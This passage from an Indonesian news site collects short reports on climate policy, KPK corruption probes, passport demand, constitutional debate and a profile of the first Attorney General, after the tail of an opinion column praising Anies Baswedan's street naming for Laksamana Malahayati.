rakyat. Anies yang cucu dari pahlawan nasional yang pernah menjadi menteri pada pemerintahan Soekarno. Selain mengajak semua untuk tidak melupakan sejarah dan tetap menghargai jasa pahlawan. Sejatinya, melalui pemberian nama jalan dengan nama pahlawan. Anies telah mencoba membangkitkan nasionalisme Indonesia yang sudah lama terpuruk, terluka dan meninggalkan banyak lubang hitam pada sejarah dan kekinian. NKRI memang merupakan perwujudan dari kebhinnekaan dan kemajemukan. Ia terlahir dari keberagaman suku, agama, ras dan antar golongan. Kebudayaan dan adat istiadat lokal telah bertransformasi menjadi komitmen dan konsensus nasional negara bangsa Indonesia. Kekayaan materiil dan spiritual setiap daerah itulah yang terus mengokohkan keberadaan dan eksistensi NKRI hingga kini. Wilayah-wilayah Indonesia yang tersebar di setiap kepulauan dan wilayah maritim pelosok nusantara. Bagaikan pondasi yang menopang berdirinya republik. Memajukan daerah tak ubahnya memajukan negara. Begitupun sebaliknya, mengabaikan daerah seperti membiarkan terjadinya kerapuhan negara. Termasuk pada kebutuhan masyarakat dan respek pada pemimpin-pemimpin daerahnya terdahulu. Mereka semua yang yang telah memberikan sumbangsih besar pada sejarah dan kontribusinya bagi sejarah dan pembangunan nasional. Mencairkan Kebekuan Rakyat Aceh pada Soekarno dan NKRI Soekarno dengan segala perjuangan dan komitmennya pada NKRI. Begitupun dengan kepemimpinannya yang besar dan diakui baik di negerinya maupun di luar negeri. Soekarno tetaplah manusia biasa. Ia punya kelebihan dan kekurangan juga, sama halnya dengan banyak pemimpin-pemimpin lainnya di dunia. Punya segudang prestasi dan pengabdian, tapi bukan tanpa noda sejarah. Sejarah mencatat ada dinamika tersendiri dalam hubungan Soekarno dengan pemimpin-pemimpin dan rakyat Aceh. Ada peninggalan sejarah dari hubungan keduanya yang menimbulkan bukan sekedar polemik dan problematika. Bahkan dikalangan pemimpin baik kalangan agama dan politik. Soekarno dianggap tidak konsisten dan begitu ekstrimnya hingga disebut sebagai penghianat bagi rakyat Aceh. Perjalanan sejarah yang tidak bisa dihindarkan dari kekecewaan dan kemarahan rakyat Aceh yang telah memberikan pengorbanan besar bagi kemerdekan Indonesia dan upaya-upaya mempertahankannya. Bagaimanapun Soekarno sebagai pemimpin yang berwibawa dan kharismatik, setidaknya telah melakukan kesalahan yang besar dan prinsip di mata rakyat Aceh. Soekarno seperti terpaksa oleh keadaan dan cita-cita membangun negara persatuan dan kesatuan. Sebuah negara nasionalis yang berlandaskan pada Panca Sila dan UUD 1945. Negara yang meletakan keberagaman sebagai acuan dari membangun tata kelola pemerintahan, kehidupan rakyat dan penyelenggaraan negara. Kehidupan politik yang memisahkan relasi negara dari agama itulah yang kemudian menjadikan Indonesia sebagai negara sekuler-liberal meski dinaungi Panca Sila dan UUD 1945. Pandangan dan sikap politik Soekarno itulah yang kemudian membuatnya mengingkari janji bagi rakyat Aceh untuk menjalankan syariat Islam di wilayah Serambi Mekah itu. Betapapun rakyat Aceh memenuhi dan mendukung kelahiran NKRI. Aceh telah memberikan segalanya buat Republik Indonesia. Dari pesawat tempur pertama milik Indonesia, emas, sampai semua harta benda rakyat Aceh diberikan untuk perjuangan Indonesia. Demikian pula dengan Soekarno. Ia telah memberikan segalanya yang ia punya. Dari pikiran dan tenaganya hingga mengorbankan dirinya demi persatuan dan kesatuan bangsa dalam bingkai NKRI. Sebuah hubungan antara Soekarno dan Aceh yang tidak bisa dinilai hitam putih begitu saja. Belajar dari Soekarno Anies yang senang menggeluti sejarah ini. Benar-benar ingin membangun kebangsaan yang didasari oleh kesadaran kebhinnekaan dan kemajemukan Indonesia. Ada tantangan dan tentunya menjadi persoalan yang tidak mudah terkait pluralitas keindonesiaan dari aspek budaya, ekonomi dan politik. Sama halnya dengan faktor-faktor kesukuan, keagamaan, ras dan antar golongan yang meliputinya. Belum lagi strata sosial yang mewujud kepada kenyataan-kenyataan mayoritas dan realitas pada bangsa ini. Anies yang saat ini memimpin Jakarta, setidaknya bisa belajar dari pemimpin-pemimpin sebelumnya dalam skala nasional. Belajar dari presiden-presiden Indonesia sebelumnya sepanjang NKRI ini lahir dan bertumbuh hinga saat ini. Termasuk berguru, mengambil ilmu dan hikmah pada perjalanan kepemimpinan Soekarno. Soekarno sosok yang kental nasionalisnya meski cukup banyak mengenyam pendidikan Islam. Bahkan salah satunya dari KH. Cokroaminoto pendiri Sarikat Islam dan KH. Hasan tokoh Muhamadiyah. Soekarno seakan tak pernah berhenti mengalami pergulatan batin dan kontemplasi pemikiran hubungan Islam dan nasionalisme. Bahkan hingga akomodasinya terhadap komunis yang pada akhirnya mengakhiri kekuasaannya. Begitulah pelajaran penting dari sejarah yang dapat dipetik untuk bekal kepemimpinan nasional mendatang. Soekarno terasa sedang melakukan dialog imajiner kepada Anies. Bahwasanya Indonesia didirikan untuk semua, bukan untuk satu golongan atau satu agama saja. Dari situlah, Anies terus melakukan perenungan dalam kepemimpinannya. Gubernur Jakarta itupun cepat tanggap di mulai dari hal yang kecil dan sederhana. Anies hanya memberi nama jalan di kawasan Kalimalang Jakarta untuk pahlawan Laksamana Malahayati dari Aceh. Tapi sesungguhnya Anis telah memberi jalan bagi penemuan kembali jalan pulang nasionalisme yang telah lama hilang. Lebih dari belajar sejarah dan menghargai para pahlawan. Anies juga mewujudkan bagaimana pemimpin itu menghormati, mengayomi dan memberikan semua kepentingan rakyat atas negara dan bangsa ini tanpa terkecuali. Bahwa pemimpin bukan sekedar akomodasi, namun memberikan juga kehormatan bagi yang berhak. Di tengah heterogennya rakyat dan negara Indonesia. Semoga Anies tetap komitmen dan konsisten menjunjung tinggi kepemimpinan bagi kebhinnekaan dan kemajemukan negara bangsa Indonesia tercinta. In syaa Allah. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Sri Mulyani: Indonesia Punya Peran Penting Terkait Kebijakan Iklim

Jakarta, FNN - Menteri Keuangan RI Sri Mulyani Indrawati mengatakan Indonesia memegang peranan penting dengan kebijakan iklim. "Indonesia memiliki peran penting terkait dengan kebijakan iklim. Saat ini Indonesia telah menetapkan target untuk mencapai emisi nol bersih paling lama tahun 2060, serta target bersyarat untuk menghentikan penggunaan batubara secara bertahap paling lama tahun 2040," kata Menkeu dikutip dari siaran pers ICAEW, Selasa. Ia mengatakan, pemerintah berkomitmen untuk tidak menambah pembangkit listrik tenaga batu bara baru. "Sementara sumber energi campuran masih bergantung pada batu bara, kami berkomitmen untuk tidak menambah pembangkit listrik tenaga batu bara baru untuk mencapai carbon net sink pada tahun 2030. Hal ini sangat penting karena sektor ini menyumbang 60 persen dari emisi Indonesia," ujar wanita yang akrab disapa Ani itu. Ia juga menyebutkan peranan pemerintah Indonesia yang baru-baru ini menetapkan penerapan pajak karbon dalam Undang-Undang Harmonisasi Peraturan Perpajakan (UU HPP). Menurutnya, hal ini menandakan pemerintah telah berkomitmen untuk mewujudkan pembangunan berkelanjutan yang ramah lingkungan yang sejalan dengan Program Pengembangan Berkelanjutan PBB (UN Sustainable Development Goals/ UN SDG). Kebijakan tersebut diharapkan dapat mendorong dan meningkatkan implementasi Lingkungan, Sosial, dan Tata Kelola (Environmental, Social, and Governance/ESG) dalam bisnis dan perekonomian Indonesia. Kebijakan ini juga bertujuan untuk mencapai target Nationally Determined Contributions (Kontribusi yang Ditentukan Secara Nasional - NDC) pada tahun 2030, mengurangi 29 persen emisi gas rumah kaca secara mandiri dan 41 persen dengan dukungan internasional. Di sisi lain, Menkeu baru-baru ini terlibat dalam konferensi bertajuk “The Indonesia International Conference for Sustainable Finance and Economy” bersama dengan The Institute of Chartered Accountants in England and Wales (ICAEW), Kementerian Keuangan RI, dan Universitas Katolik Parahyangan. "Konferensi internasional tentang keuangan berkelanjutan ini menurut saya diadakan di waktu yang sangat tepat, karena para pemimpin dunia baru saja kembali dari UN Climate Change Conference of the Parties atau COP26 yang baru saja diadakan di Glasgow," kata Menkeu Sri Mulyani. Selain diskusi seputar keberlanjutan, ekonomi, dan upaya kolaboratif antara negara dan industri untuk mengatasi tantangan yang akan datang, konferensi ini juga menjadi pembuka Presidensi G20 Indonesia yang akan diselenggarakan pada tahun 2022. Menkeu Sri menambahkan, bahwa untuk pertama kalinya dalam sejarah, Indonesia akan menjadi tuan rumah Presidensi G20. Penyerahan estafet G20 Presidensi Indonesia 2022 telah dilakukan melalui konferensi pers bersama di Rome Summit pada 30-31 Oktober lalu, dari Presidensi 2021 Italia. "Ke depan, Indonesia harus memainkan peran penting selama Presidensi G20. Indonesia telah menetapkan tema Presidensi G20: Recover Together, Recover Stronger, mencerminkan harapan dan kesiapan Indonesia untuk berpartisipasi dalam kemitraan global untuk mengatasi dampak pandemi Covid-19 dan sekaligus meningkatkan kepercayaan secara global," kata dia. (mth)

Guru Besar FKM UI Raih Penghargaan K3 Tingkat Dunia

Depok, FNN - Guru Besar Departemen Keselamatan dan Kesehatan Kerja (K3) Fakultas Kesehatan Masyarakat Universitas Indonesia (FKM UI), Prof. Dra. Fatma Lestari meraih penghargaan World Safety Organization (WSO) Professional Concerned Award yang berpusat di Las Vegas, Amerika Serikat. Pj. Dekan FKM UI, Prof. Sabarinah dalam keterangannya, Selasa mengapresiasi pencapaian yang disumbang oleh UI bagi Indonesia. "Peran FKM UI dalam kesmas area keselamatan kerja diapresiasi oleh dunia internasional. Penghargaan tersebut menunjukkan kualitas sivitas akademika FKM UI," ujar Prof. Sabarinah. Pada kesempatan yang sama, ada tiga wakil Indonesia yang mendapat penghargaan K3 dunia dari WSO, yakni PT Nusantara Regas yang meraih WSO Concerned Company Award, PT Waskita Karya (Persero) Tbk-EPC Division menerima penghargaan WSO Concerned Company Award Award, dan Politeknik Ketenagakerjaan memperoleh penghargaan WSO Educational Concerned Award dari WSO. Penghargaan yang diterima dalam acara ‘WSO Indonesia Talkshow & Award (WITA) 2021’ diberikan kepada perusahaan/individu/institusi yang berkomitmen mengimplementasikan K3. Prof. Fatma Lestari merupakan salah seorang individu yang menerima penghargaan ini dari Indonesia pada tahun 2021. Peraih penghargaan ini ditentukan berdasarkan hasil verifikasi/uji lapangan dan hasil verifikasi administratif melalui kegiatan survei atau observasi yang mendalam. Para peraih penghargaan ini dinilai sudah menunjukkan komitmen dan konsistennya untuk menerapkan K3, bahkan beberapa sudah menunjukkan proses ke arah peningkatan berkelanjutan atau continuous improvement. WSO Indonesia Talkshow & Award (WITA) 2021 merupakan ajang yang dapat menjadi tolak ukur perusahaan dalam meningkatkan implementasi keselamatan dan kesehatan kerja di tempat kerja mulai dari kebijakan, implementasi hingga monitoring dan evaluasi yang holistik komprehensif berkelanjutan. Sedangkan sebagai penyelenggara, World Safety Organization (WSO) didirikan pada tahun 1975 sebagai hasil dari konferensi internasional yang diselenggarakan oleh Safety Organization of the Philippines Inc. (SOPI), di Manila, Filipina. WSO berdiri dengan tujuan untuk menginternasionalkan semua bidang keselamatan termasuk keselamatan dan kesehatan kerja dan lingkungan, gerakan pencegahan kecelakaan, dan lainnya, serta bertujuan menyebarluaskan ke seluruh dunia praktik, keterampilan, seni, dan teknologi bidang keselamatan dan pencegahan kecelakaan. (mth)

KPK Dalami Catatan Keuangan PT AA untuk Kasus HGU Sawit di Kuansing

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mendalami catatan keuangan PT Adimulia Agrolestari (AA) yang diduga ada aliran uang untuk pengurusan izin hak guna usaha (HGU) sawit di Kabupaten Kuantan Singingi (Kuansing). KPK memeriksa Frank Widjaja dari pihak swasta sebagai saksi untuk tersangka Bupati Kuansing nonaktif Andi Putra (AP) di Gedung KPK, Jakarta, Senin (29/11), dalam penyidikan kasus dugaan suap terkait perpanjangan izin HGU sawit di Kabupaten Kuansing, Riau. "Yang bersangkutan hadir dan menjelaskan terkait dengan pencatatan keuangan dari PT AA (Adimulia Agrolestari) yang diduga ada aliran sejumlah uang untuk pengurusan izin HGU dimaksud dan mengalir ke tersangka AP dan pihak terkait lainnya," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Selasa. KPK telah menetapkan Andi Putra bersama General Manager PT Adimulia Agrolestari Sudarso (SDR) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan untuk keberlangsungan kegiatan usaha dari PT Adimulia Agrolestari yang sedang mengajukan perpanjangan HGU yang dimulai pada 2019 dan akan berakhir pada 2024, salah satu persyaratan untuk kembali memperpanjang HGU adalah dengan membangun kebun kemitraan minimal 20 persen dari HGU yang diajukan. Adapun lokasi kebun kemitraan 20 persen milik PT Adimulia Agrolestari yang dipersyaratkan tersebut terletak di Kabupaten Kampar, Riau, di mana seharusnya berada di Kabupaten Kuansing. Agar persyaratan tersebut dapat terpenuhi, Sudarso kemudian mengajukan surat permohonan kepada Andi Putra dan meminta kebun kemitraan PT Adimulia Agrolestari di Kampar disetujui menjadi kebun kemitraan. Selanjutnya, Sudarso dan Andi Putra bertemu. Andi Putra menyampaikan bahwa kebiasaan dalam mengurus surat persetujuan dan pernyataan tidak keberatan atas 20 persen Kredit Koperasi Prima Anggota (KKPA) untuk perpanjangan HGU yang seharusnya dibangun di Kabupaten Kuansing dibutuhkan minimal uang Rp2 miliar. Sebagai tanda kesepakatan, pada September 2021 diduga telah dilakukan pemberian pertama oleh Sudarso kepada Andi Putra uang sebesar Rp500 juta. Selanjutnya pada Oktober 2021, Sudarso diduga kembali menyerahkan uang sekitar Rp200 juta kepada Andi Putra. Atas perbuatannya, Sudarso selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan Andi Putra disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

Permohonan Paspor Baru di Imigrasi Palembang Meningkat

Palembang, FNN - Permohonan pembuatan paspor baru dan penggantian buku yang habis masa berlakunya di Kantor Imigrasi Kelas I Tempat Pemeriksaan Imigrasi (TPI) Palembang, Sumatera Selatan dalam sebulan terakhir sedikit mengalami peningkatan. Sejak adanya kebijakan perjalanan ibadah umrah mulai dibuka kembali dengan syarat tertentu antisipasi penularan COVID-19, permohonan pembuatan paspor meningkat dari belasan orang kini bisa mencapai 40 orang per hari bahkan pada waktu tertentu lebih dari jumlah tersebut, kata Kepala Seksi Lalu lintas Keimigrasian Kantor Imigrasi Kelas I TPI Palembang Triman di Palembang, Selasa. Menurut dia, pemohon paspor sekarang ini sebagian besar masyarakat yang melakukan persiapan berangkat ibadah umrah baik secara perorangan maupun kolektif melalui pendampingan pengelola travel umrah atau perusahaan penyelenggara ibadah umrah (PPIU). Untuk menghadapi kemungkinan terus terjadinya peningkatan permohonan pembuatan paspor, pihak tetap melakukan pembatasan pengunjung sesuai aturan pelayanan di masa pandemi COVID-19. Pembatasan diatur mulai dari proses pendaftaran melalui aplikasi secara daring (online) dengan ketentuan maksimal 50 persen dari kapasitas 200 pemohon per hari, katanya. Pelayanan pembuatan paspor dalam masa pandemi COVID-19 tetap dilakukan namun disesuaikan dengan aturan pembatasan jumlah pengunjung di ruangan pelayanan dan menerapkan protokol kesehatan secara ketat serta ditambah dengan pemasangan pemindai 'qr barcode' aplikasi PeduliLindungi. Dengan menerapkan prokes dan aturan lainnya sebagai antisipasi penularan COVID-19, lingkungan Kantor Imigrasi Palembang aman dari kasus penularan virus corona jenis baru itu, ujar Triman. (sws)

Hakim MK Harap Wacana Revitalisasi PPHN Miliki Pertimbangan Mendalam

Jakarta, FNN - Hakim Mahkamah Konstitusi (MK) Wahiduddin Adams mengharapkan wacana revitalisasi Pokok-Pokok Haluan Negara (PPHN) yang diinisiasi MPR RI dapat melibatkan berbagai pertimbangan yang mendalam. “Sebelum menerapkan atau mengambil putusan (pengadopsian PPHN), membutuhkan pertimbangan, seperti melakukan pengkajian, memperhatikan kelebihan, kekurangan, dan kesesuaiannya dengan iklim politik ataupun sistem ketatanegaraan yang berlaku di Indonesia,” jelas Wahiduddin Adams. Hal tersebut disampaikannya selaku pembicara kunci webinar nasional “Quo Vadis Amendemen 5 UUD 1945: Pro Kontra Wacana Revitalisasi PPHN dalam Sistem Ketatanegaraan Indonesia” yang disiarkan langsung di kanal YouTube PSKH UIN SUKA, dipantau dari Jakarta, Selasa. Seperti diketahui, wacana revitalisasi PPHN merupakan salah satu agenda prioritas MPR RI dalam amendemen kelima UUD NRI 1945. Di samping itu, lanjut Wahiduddin Adams, revitalisasi PPHN yang dulu dikenal sebagai Garis-Garis Besar Haluan Negara (GBHN) memerlukan kepastian bahwa langkah tersebut akan lebih banyak menghadirkan manfaat dibandingkan kerugian. “Menghindari sesuatu yang diprediksi lebih besar negatifnya, itu harus didahulukan daripada kita mewacanakan sesuatu yang belum tentu maslahah atau manfaatnya lebih banyak,” tambah ia. Wahiduddin Adams berharap para akademisi dapat berperan aktif dalam mengkaji, menggali, mengeksplorasi kelebihan, dan kekurangan wacana revitalisasi PPHN. Dengan demikian, katanya. hasil kajian mereka dapat dijadikan pertimbangan bagi pemerintah untuk memutuskan ditetapkan atau tidak revitalisasi PPHN. Dalam webinar yang diselenggarakan Pusat Studi dan Konsultasi Hukum Fakultas Syariah dan Hukum UIN Sunan Kalijaga itu, Wahiduddin mengingatkan agar arah kebijakan revitalisasi PPHN berpedoman pada alinea keempat pembukaan UUD NRI 1945. Di dalamnya, jelas dia, disebutkan bahwa pemerintah bertugas melindungi segenap bangsa Indonesia dan seluruh tumpah darah Indonesia, memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan ikut melaksanakan ketertiban dunia yang berdasarkan kemerdekaan, perdamaian abadi, dan keadilan sosial. “Alinea keempat pembukaan UUD NRI 1945 secara jelas memberikan dan menyebutkan tugas-tugas pemerintah Indonesia,” tegasnya. (sws)

KPK Panggil Dua Saksi kasus Pengadaan Mesin PG Djatiroto PTPN XI

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Selasa, memanggil dua saksi dalam penyidikan kasus dugaan korupsi pengadaan dan pemasangan "six roll mill" atau mesin penggilingan tebu di Pabrik Gula (PG) Djatiroto PTPN XI Tahun 2015-2016. Dua saksi, yakni mantan Direktur SDM dan Umum PT Perkebunan Nusantara (PTPN) XI Muhammad Cholidi dan Executive Vice President (EVP) PTPN Holding Aris Toharisman. Keduanya dipanggil untuk tersangka mantan Direktur Produksi PT PTPN XI Budi Adi Prabowo (BAP). "Hari ini, bertempat di Gedung KPK Merah Putih, tim penyidik menjadwalkan pemanggilan saksi-saksi untuk tersangka BAP dan kawan-kawan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta. KPK, Kamis (25/11), telah mengumumkan Budi bersama Arif Hendrawan (AH) selaku Direktur PT Wahyu Daya Mandiri (WDM) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan tersangka Budi selaku Direktur PTPN XI 2015-2016 yang telah mengenal baik tersangka Arif selaku Direktur PT WDM melakukan beberapa kali pertemuan pada 2015, di antaranya menyepakati pelaksana pemasangan mesin giling di PG Djatiroto adalah tersangka Arif walaupun proses lelang belum dimulai sama sekali. Tersangka Arif diduga menyiapkan perusahaan lain agar seolah-olah turut sebagai peserta lelang. Selain itu, tersangka Arif juga aktif dalam proses penyusunan spesifikasi teknis harga barang yang dijadikan sebagai acuan awal dalam penentuan Harga Perkiraan Sendiri (HPS) senilai Rp78 miliar, termasuk data-data kelengkapan untuk lelang pengadaan 1 lot "six roll mill" di PG Djatiroto. Adapun nilai kontrak yang telah disusun atas dasar kesepakatan tersangka Budi dan tersangka Arif senilai Rp79 miliar. Saat proses lelang dilakukan, diduga terdapat beberapa persyaratan yang telah diatur untuk memenangkan PT WDM di antaranya terkait waktu penyerahan barang yang dimajukan tanggalnya pada saat "aanwijzing" karena PT WDM sudah terlebih dahulu menyiapkan komponen barangnya. KPK menduga saat proses lelang masih berlangsung, ada pemberian satu unit mobil oleh tersangka Arif kepada tersangka Budi. Terkait proses pembayaran diduga ada kelebihan nilai pembayaran yang diterima oleh PT WDM yang disetujui oleh tersangka Budi. KPK menduga kerugian negara yang ditimbulkan dalam proyek pengadaan tersebut sekitar Rp15 miliar dari nilai kontrak Rp79 miliar. Atas perbuatannya, tersangka Budi dan Arif disangkakan melanggar Pasal 2 ayat (1) dan atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. (sws)

Mengenal Sosok Jaksa Agung RI Pertama Raden Gatot Taroenamihardja

Jakarta, FNN - Setelah dua tahun tertunda, pemindahan makam Jaksa Agung RI pertama Raden Gatot Taroenamihardja dari Tempat Pemakaman Umum (TPU) Menteng Pulo, Tebet, Jakarta Selatan, menuju Taman Makam Pusara Adhyaksa milik Korps Adhyaksa di Pondok Rajeg, Kabupaten Bogor, Jawa Barat, akhirnya terealisasi juga. Pemindahan makam dilangsungkan dengan upacara resmi yang dihadiri oleh insan Adhyaksa, serta jajaran pengurus Persatuan Jaksa Indonesia (PJI) yang diketuai oleh Setia Untung Arimuladi, yang juga Wakil Jaksa Agung RI. Prosesi pemindahan makam diawali dengan penggalian makam, lalu memindahkan jenazah ke peti dan dipersiapkan untuk dibawa menuju Taman Makam Pusara Adhyaksa, Cibinong. Wakil Jaksa Agung Setia Untung Arimuladi memimpin upacara pemindahan makam, yang tentunya atas persetujuan ahli waris dan Jaksa Agung selaku Pelindung PJI. Bagi insan Adhyaksa, Raden Gatot Taroenamihardja dikenang selain sebagai jaksa agung pertama dan juga kelima RI, juga merupakan ikon ketegasan seorang jaksa. Seperti yang disampaikan Presiden Joko Widodo pada pembukaan Rapat Kerja Kejaksaan Tahun 2020, bahwa Kejaksaan adalah wajah penegakan hukum. Raden Gatot Taroenamihardja sebagai Jaksa Agung RI pertama telah melihatkan wajah penegakan hukum yang tegas kepada penerusnya. Meskipun memegang jabatan singkat sebagai Jaksa Agung RI pertama pada 12 Agustus 1945 sampai dengan 22 Oktober 1945, Raden Gatot Taroenamihardja kembali dipercaya sebagai Jaksa Agung RI yang kelima tahun 1959. Semasa hidupnya Raden Gatot Taroenamihardja menangani berbagai perkara, termasuk perkara tindak pidana korupsi. "Semasa hidupnya, beliau telah mengemban amanah dan mendedikasikan segenap kemampuan terbaiknya untuk membuat fondasi institusi Kejaksaan dalam menyelenggaranya penegakan hukum yang baik. Sebuah kontribusi positif yang manfaat besarnya kita rasakan nyata sekarang ini," kata Setia Untung. Perjalanan hidup Meester in de Rechten (gelar lulusan sekolah hukum zaman Belanda) Raden Gatot Taroenamihardja, merupakan anak kedua dari enam bersaudara putra-putri Dr. Raden Tanoemihardja, lahir di Sukabumi pada tanggal 24 November 1901. Dikutip dari keterangan tertulis PJI, perjalan hidup Raden Gatot Taroenamiharha menjadi Jaksa Agung RI pertama dimulai dari menempuh pendidikan keahlian hukum di Rechtsschool Batavia, Hindia-Belanda tahun 1920. Di usianya yang masih 19 tahun, setelah lulus Raden Gatot Taroenamihardja mulai bekerja magang di Pengadilan Negeri. Dua tahun setelahnya, ia memutuskan untuk meneruskan pendidikan hukumnya di Rijksuniversiteit Leiden, Belanda. Selama menempuh pendidikan, Raden Gatot Taroenamihardja aktif bergabung dalam organisasi kepemudaan bernama "Perhimpoenan" Indonesia yang pada tahun 1920-an berubah menjadi organisasi penting yang aktif mempromosikan kemerdekaan Indonesia. Keaktifannya dalam organisasi yang menyuarakan kemerdekaan Indonesia ternyata berdampak ke keluarga Raden Gatot Taroenamihardja. Keluarganya mengalami pemerasan dan ancaman oleh Belanda yang meminta mereka menghentikan pengiriman biaya sekolah. Ancaman tersebut tidak menggetarkan perjuangan Raden Gatot Taroenamihardja untuk menempuh pendidikan dan untuk membiayai hidup. Memilih bekerja bekerja sebagai pesuruh di toko roti kota Brussel, Belgia. Tahun 1927, Raden Gatot Taroenamihardja pun pernah ditangkap dengan alasan tidak memberikan laporan kesehatan untuk kegiatan wajib militer Belanda. Namun, di tahun yang sama ia mampu menyelesaikan sekolah hukumnya dan kembali ke Indonesia untuk menjadi Penasehat Hukum/ Advokad bagi orang pribumi Indonesia di Cirebon dan Tegal. Setelah kembali ke Indonesia dan bekerja, Raden Gatot Taroenamihardja bergabung dalam Partai Nasionalis Indonesia Staatspartij. Keaktifannya dalam organisasi tersebut, membuat dirinya kembali ditangkap oleh Belanda bersama Bung Karno dan Bung Hatta pada Tahun 1929. Pada masa penjajahan Jepang, Raden Gatot Taroenamihardja menjadi Tihoo Hoin atau Hakim Ketua di Pengadilan Negeri Purwokerto. Hingga pada tanggal 19 Agustus 1945, Pembentukan Kabinet Pertama, dimana Raden Gatot Taroenamiharja diangkat menjadi Jaksa Agung Republik Indonesia yang pertama. Ia pun dilantik sebagai Jaksa Agung Republik Indonesia tanggal 5 September 1945. Namun, hanya 19 hari menjabat, Raden Gatot Taroenamiharja mengundurkan diri dari jabatannya. Bulan Maret 1946, Raden Gatot Taroenamiharja ditangkap dan ditahan selama satu bulan oleh Perdana Menteri Syahrir, karena dianggap menentang negosiasinya dengan Belanda. Kemudian setelahnya, Raden Gatot Taroenamiharja menjadi Penasehat Hukum Gerilja Wehrkreise Gunung Slamet di Banyumas Utara, dan mendapat tugas menemui pemimpin Darul Islam, Kartosuwirjo. Sayangnya, kedatangannya berbuah penahanan yang dilakukan Darul Islam selama 13 bulan. Penyanderaan yang dialami Raden Gatot Taroenamiharja membuatnya menderita penyakit busung lapar dan penyakit lainnya. Kembali terjadi pertempuran antara Darul Islam dan TNI, yang menyebabkan Raden Gatot Taroenamiharja ditinggalkan penawannya oleh Darul Islam. Setelah itu Raden Gatot Taroenamiharja diserahkan kepada TNI oleh rakyat. Ujian hidup kembali dialaminya, Raden Gatot Taroenamiharja kembali masuk penjara, dengan tuduhan dan tuntutan terkait keberadaannya di Darul Islam Kartosuwiryo. Selama sembilan bulan Raden Gatot Taroenamiharja berada di Penjara Bantjeuj, Bandung. Pada akhirnya tuduhan tersebut tidak terbukti, dan ia dibebaskan dari segala tuduhan dan tuntutan. Setelah kejadian tersebut, Raden Gatot Taroenamiharja diangkat menjadi Pegawai Tinggi Kementerian Kehakiman. Dan pada tanggal 1 April 1959, ia pun kembali dilantik dan diambil sumpahnya menjadi Jaksa Agung Republik Indonesia yang kelima. Sebagaimana yang pertama, di masa jabatan beliau yang kedua ini juga berlangsung singkat. Pada tanggal 22 September 1959, Raden Gatot Taroenamiharja kembali diberhentikan dengan hormat, dan kembali bertugas ke Departemen Kehakiman. Hingga perjalanan hidupnya terhenti pada tanggal 24 Desember 1971, Raden Gatot Taroenamiharja wafat dan dimakamkan di TPU Menteng Pulo, Tebet, Jakarta Selatan. Penghormatan Januari 2019 atau 48 tahun setelah wafatnya Raden Gatot Taroenamiharja, anggota PJI mendapatkan laporan bahwa makam Jaksa Agung RI pertama di TPU Menteng Pulo, Tebet, Jakarta Selatan didapati tidak terawat. Laporan tersebut sampai ke telingan Ketua Umum PP PJI Setia Untung Arimuladi. Kemudian Ketua Umum PP PJI memerintahkan anggota PJI berkoordinasi dengan pihak TPU Menteng Pulo untuk mengecek kebenaran informasi tersebut serta menelusuri keberadaan ahli waris mendiang Raden Gatot Taroenamiharja. Hasil koordinasi yang dilakukan, diketahui bahwa makam yang tidak terawat benar adalah makam Raden Gatot Taroenamiharja, mantan Jaksa Agung RI pertama dan kelima. Tidak terawatnya makam tersebut, karena ahli waris yang tercatat dalam dokumen di TPU Menteng Pulo, yakni Purwoto Suhadi Gandasubrata (Ketau MA RI kedelapan) telah meninggal dunia tahun 2005. Sehingga sejak ahli waris wafat, biaya sewa makam retribusi tidak dibayarkan, akhirnya makam tidak terawat hingga tidak dapat dikenali lagi karena dipenuhi tumbuhan liar. Anggota PJI menelusuri ahli waris Raden Gatot Taroenamiharja yang masih tersisa untuk mendapatkan izin agar makam Jaksa Agung RI pertam itu dipindahkan ke Taman Makam Pusara Adhyaksa di Cibinong, Kabupaten Bogor. Izin pemindahan makam diperoleh dari ahli waris yang tersisa, yakni Wahyudiati T. Salim Gandasubrata (keponakan Raden Gatot Taroenamiharja), yang bersangkutan menyatakan tidak keberatan atas rencana pemindahan makam dan bersedia membuat surat pernyataan secara tertulis diatas materai. Ketua Umum PP PJI Setia Untung Arimuladi mengatakan pemindahan makam Raden Gatot Taroenamihardja dengan tujuan agar makam mendiang bisa lebih terawat. Inisiasi pemindahan makam tersebut dilaksanakan dengan dasar AD/ ART Persatuan Jaksa Indonesia pada Pasal 6 huruf c Bab III Tujuan Dan Upaya Anggaran Dasar Persatuan Jaksa Indonesia yang berbunyi "Tujuan PJI untuk menjaga, menjunjung tinggi harkat dan martabat Jaksa, mempertebal rasa tanggung jawab dalam melaksanakan dharma bakti kepada Tuhan Yang Maha Esa, bangsa dan negara". Kemudian Pasal 2 huruf a Bab II Upaya Anggaran Rumah Tangga Persatuan Jaksa Indonesia yang berbunyi "Untuk mencapai tujuan PJI menyelenggarakan, memperjuangkan, dan meningkatkan kesejahteraan materiil dan spirituil para anggota". Berdasarkan hal tersebut di atas, maka bulan Mei 2019 Ketua Umum PP PJI melaporkan kepada Jaksa Agung RI selaku Pelindung PJI pada saat itu perihal rencana pemindahan makam Raden Gatot Taroenamihardja dari TPU Menteng Pulo, Menteng Dalam, Tebet, Jakarta Selatan ke Taman Makam Pusara Adhyaksa yang berada di Pondok Rajeg, Cibinong Kabupaten Bogor. Atas persetujuan Jaksa Agung RI, kemudian dijadwalkan pemindahan makam Raden Gatot Taroenamihardja yang 